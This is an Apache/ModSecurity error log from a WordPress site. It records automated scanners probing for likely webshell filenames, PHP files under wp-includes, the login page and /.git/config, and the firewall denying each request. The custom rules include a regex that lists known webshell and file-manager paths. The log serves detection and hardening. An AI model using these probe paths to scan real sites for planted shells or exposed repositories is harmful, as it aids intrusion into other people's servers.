[Tue Nov 25 18:02:18.304448 2025] [:error] [pid 14077:tid 14127] [client 20.10.155.22:1900] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSV-qhG9n7UHEkwDTyhmAAAAAFE"]
[Tue Nov 25 18:02:22.667655 2025] [:error] [pid 14077:tid 14117] [client 20.10.155.22:8820] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSV-rhG9n7UHEkwDTyhmFgAAAEc"]
[Tue Nov 25 18:02:28.317308 2025] [:error] [pid 28740:tid 28810] [client 20.10.155.22:4015] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSV-tFppQCoYxWW6V0VjJwAAAlM"]
[Tue Nov 25 18:02:31.146520 2025] [:error] [pid 14077:tid 14117] [client 20.10.155.22:4847] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSV-txG9n7UHEkwDTyhmJQAAAEc"]
[Tue Nov 25 18:02:33.497838 2025] [:error] [pid 28740:tid 28804] [client 20.10.155.22:5000] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/admin.php"] [unique_id "aSV-uVppQCoYxWW6V0VjMwAAAk0"]
[Tue Nov 25 18:02:36.947815 2025] [:error] [pid 28740:tid 28811] [client 20.10.155.22:1101] [client 20.10.155.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/Text/Diff/Engine/about.php"] [unique_id "aSV-vFppQCoYxWW6V0VjOAAAAlQ"]
[Tue Nov 25 18:02:54.167166 2025] [:error] [pid 14077:tid 14116] [client 20.10.155.22:9456] [client 20.10.155.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aSV-zhG9n7UHEkwDTyhmQgAAAEY"]
[Tue Nov 25 18:03:42.093045 2025] [:error] [pid 14168:tid 14185] [client 20.10.155.22:7629] [client 20.10.155.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aSV-_vR-ZDU0QEgAIItSBgAAAM4"]
[Tue Nov 25 18:03:48.262966 2025] [autoindex:error] [pid 28740:tid 28812] [client 20.10.155.22:6569] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/images/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 18:04:00.072777 2025] [:error] [pid 28739:tid 28782] [client 20.10.155.22:5686] [client 20.10.155.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSV_EBxGpKmlkG4FexRlsAAAAhQ"]
[Tue Nov 25 18:04:31.419748 2025] [:error] [pid 14077:tid 14127] [client 20.10.155.22:7735] [client 20.10.155.22] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.10.155.22, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aSV_LxG9n7UHEkwDTyhm_AAAAFE"]
[Tue Nov 25 18:04:52.402649 2025] [:error] [pid 28740:tid 28798] [client 20.10.155.22:3510] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/marijuana.php"] [unique_id "aSV_RFppQCoYxWW6V0Vj0QAAAkc"]
[Tue Nov 25 18:04:56.710674 2025] [:error] [pid 28740:tid 28812] [client 20.10.155.22:4498] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/marijuana.php"] [unique_id "aSV_SFppQCoYxWW6V0Vj1gAAAlU"]
[Tue Nov 25 18:04:59.267703 2025] [:error] [pid 28609:tid 28640] [client 20.10.155.22:3707] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/marijuana.php"] [unique_id "aSV_SyGGdT-nZJVs3x2vSAAAAZY"]
[Tue Nov 25 18:05:01.636381 2025] [:error] [pid 14077:tid 14126] [client 20.10.155.22:6869] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/marijuana.php"] [unique_id "aSV_TRG9n7UHEkwDTyhnFwAAAFA"]
[Tue Nov 25 18:05:03.664921 2025] [:error] [pid 28836:tid 28960] [client 20.10.155.22:5784] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aSV_T5wNRsoxcLQGkTesKgAAAsU"]
[Tue Nov 25 18:05:05.236110 2025] [:error] [pid 28739:tid 28765] [client 20.10.155.22:7760] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aSV_URxGpKmlkG4FexRl2gAAAgM"]
[Tue Nov 25 18:05:06.824267 2025] [:error] [pid 28739:tid 28776] [client 20.10.155.22:2531] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/about/function.php"] [unique_id "aSV_UhxGpKmlkG4FexRl3gAAAg4"]
[Tue Nov 25 18:05:18.200260 2025] [:error] [pid 28836:tid 28958] [client 20.10.155.22:4654] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aSV_XpwNRsoxcLQGkTesNQAAAsM"]
[Tue Nov 25 18:05:20.187848 2025] [:error] [pid 28836:tid 28967] [client 20.10.155.22:3179] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aSV_YJwNRsoxcLQGkTesOAAAAsw"]
[Tue Nov 25 18:05:22.832463 2025] [:error] [pid 14077:tid 14125] [client 20.10.155.22:1829] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aSV_YhG9n7UHEkwDTyhnSgAAAE8"]
[Tue Nov 25 18:05:26.483628 2025] [:error] [pid 14077:tid 14111] [client 20.10.155.22:2211] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aSV_ZhG9n7UHEkwDTyhnUQAAAEE"]
[Tue Nov 25 18:05:31.270115 2025] [:error] [pid 28740:tid 28815] [client 20.10.155.22:3184] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aSV_a1ppQCoYxWW6V0VkEgAAAlg"]
[Tue Nov 25 18:05:37.268221 2025] [:error] [pid 28842:tid 29005] [client 20.10.155.22:7762] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aSV_cdNmoaPf6T4-6C1zwwAAA08"]
[Tue Nov 25 18:05:39.587732 2025] [:error] [pid 28739:tid 28764] [client 20.10.155.22:3151] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aSV_cxxGpKmlkG4FexRl7AAAAgI"]
[Tue Nov 25 18:05:41.506377 2025] [:error] [pid 28609:tid 28634] [client 20.10.155.22:7785] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aSV_dSGGdT-nZJVs3x2vbQAAAZA"]
[Tue Nov 25 18:05:44.362487 2025] [:error] [pid 14078:tid 14148] [client 20.10.155.22:7777] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aSV_eNVXYbb0ii_rVoIqrQAAAIs"]
[Tue Nov 25 18:05:45.765323 2025] [:error] [pid 14168:tid 14182] [client 20.10.155.22:5208] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/chosen.php"] [unique_id "aSV_efR-ZDU0QEgAIItSagAAAMs"]
[Tue Nov 25 18:06:53.952564 2025] [:error] [pid 14077:tid 14129] [client 20.10.155.22:8788] [client 20.10.155.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aSV_vRG9n7UHEkwDTyhooQAAAFM"]
[Tue Nov 25 18:06:56.046203 2025] [:error] [pid 14076:tid 14100] [client 20.10.155.22:6219] [client 20.10.155.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "aSV_wHsB4Gz6Qw-pvBv9_gAAABM"]
[Tue Nov 25 18:06:56.935528 2025] [:error] [pid 28740:tid 28811] [client 20.10.155.22:6233] [client 20.10.155.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "aSV_wFppQCoYxWW6V0VkaQAAAlQ"]
[Tue Nov 25 18:07:18.546209 2025] [proxy_fcgi:error] [pid 28836:tid 28966] [client 20.10.155.22:9375] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 18:07:27.132776 2025] [:error] [pid 28836:tid 28965] [client 20.10.155.22:9375] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSV_35wNRsoxcLQGkTestgAAAso"]
[Tue Nov 25 18:07:37.538281 2025] [:error] [pid 28609:tid 28632] [client 20.10.155.22:4223] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSV_6SGGdT-nZJVs3x2wUAAAAY4"]
[Tue Nov 25 18:07:39.911297 2025] [:error] [pid 14078:tid 14155] [client 20.10.155.22:9792] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSV_69VXYbb0ii_rVoIrhAAAAJI"]
[Tue Nov 25 18:07:41.747400 2025] [:error] [pid 28609:tid 28642] [client 20.10.155.22:9721] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/html-api/wp-conflg.php"] [unique_id "aSV_7SGGdT-nZJVs3x2wUgAAAZg"]
[Tue Nov 25 18:07:43.446012 2025] [:error] [pid 2987:tid 3013] [client 20.10.155.22:9530] [client 20.10.155.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/crop/zmFM.php"] [unique_id "aSV_78-djEt-pTzPxnyH3AAAAVg"]
[Tue Nov 25 18:07:45.536605 2025] [:error] [pid 14076:tid 14104] [client 20.10.155.22:9735] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aSV_8XsB4Gz6Qw-pvBv-GAAAABc"]
[Tue Nov 25 18:07:55.420663 2025] [:error] [pid 28836:tid 28986] [client 20.10.155.22:6094] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aSV_-5wNRsoxcLQGkTeszAAAAs8"]
[Tue Nov 25 18:07:58.119253 2025] [:error] [pid 14168:tid 14193] [client 20.10.155.22:2382] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/rest-api/fields/index.php"] [unique_id "aSV__vR-ZDU0QEgAIItS1AAAANY"]
[Tue Nov 25 18:08:01.202060 2025] [:error] [pid 28842:tid 29025] [client 20.10.155.22:5071] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/fucku.php"] [unique_id "aSWAAdNmoaPf6T4-6C105QAAA1c"]
[Tue Nov 25 18:08:02.605648 2025] [:error] [pid 28842:tid 28997] [client 20.10.155.22:5114] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/fucku.php"] [unique_id "aSWAAtNmoaPf6T4-6C106AAAA0c"]
[Tue Nov 25 18:08:05.501941 2025] [:error] [pid 14077:tid 14121] [client 20.10.155.22:8459] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/fucku.php"] [unique_id "aSWABRG9n7UHEkwDTyhpsAAAAEs"]
[Tue Nov 25 18:08:08.151409 2025] [:error] [pid 14078:tid 14140] [client 20.10.155.22:9779] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/index/fucku.php"] [unique_id "aSWACNVXYbb0ii_rVoIrtgAAAIM"]
[Tue Nov 25 18:08:09.957896 2025] [:error] [pid 14168:tid 14195] [client 20.10.155.22:7612] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/wp-info.php"] [unique_id "aSWACfR-ZDU0QEgAIItS1gAAANg"]
[Tue Nov 25 18:08:11.436400 2025] [:error] [pid 14168:tid 14192] [client 20.10.155.22:5079] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/wp-info.php"] [unique_id "aSWAC_R-ZDU0QEgAIItS2QAAANU"]
[Tue Nov 25 18:08:14.794886 2025] [:error] [pid 14077:tid 14111] [client 20.10.155.22:5109] [client 20.10.155.22] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/upload/wp-info.php"] [unique_id "aSWADhG9n7UHEkwDTyhpuQAAAEE"]
[Tue Nov 25 18:08:33.797017 2025] [proxy_fcgi:error] [pid 14076:tid 14103] [client 20.10.155.22:8502] AH01071: Got error 'Primary script unknown'
[Tue Nov 25 18:53:07.750174 2025] [autoindex:error] [pid 14077:tid 14115] [client 138.199.60.187:45274] AH01276: Cannot serve directory /home/vetstars/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Tue Nov 25 18:53:07.882775 2025] [:error] [pid 14077:tid 14126] [client 138.199.60.187:45274] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSWKkxG9n7UHEkwDTyh-DQAAAFA"]
[Tue Nov 25 18:53:08.148168 2025] [:error] [pid 14077:tid 14122] [client 138.199.60.187:51136] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSWKlBG9n7UHEkwDTyh-EQAAAEw"]
[Tue Nov 25 18:53:08.447270 2025] [:error] [pid 14077:tid 14113] [client 138.199.60.187:51340] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSWKlBG9n7UHEkwDTyh-FAAAAEM"]
[Tue Nov 25 18:53:08.704504 2025] [:error] [pid 14077:tid 14131] [client 138.199.60.187:51518] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSWKlBG9n7UHEkwDTyh-GwAAAFU"]
[Tue Nov 25 18:53:08.982350 2025] [:error] [pid 28739:tid 28776] [client 138.199.60.187:51662] [client 138.199.60.187] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aSWKlBxGpKmlkG4FexRwVQAAAg4"]
[Tue Nov 25 20:00:58.721807 2025] [:error] [pid 2987:tid 2994] [client 54.173.250.15:56440] [client 54.173.250.15] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "vetstars.com.au"] [uri "/.git/config"] [unique_id "aSWaes-djEt-pTzPxnypRAAAAUU"]
[Tue Nov 25 21:20:59.585892 2025] [:error] [pid 28836:tid 29006] [client 4.241.179.168:39872] [client 4.241.179.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/disengaging.php"] [unique_id "aSWtO5wNRsoxcLQGkTfhmgAAAtA"]
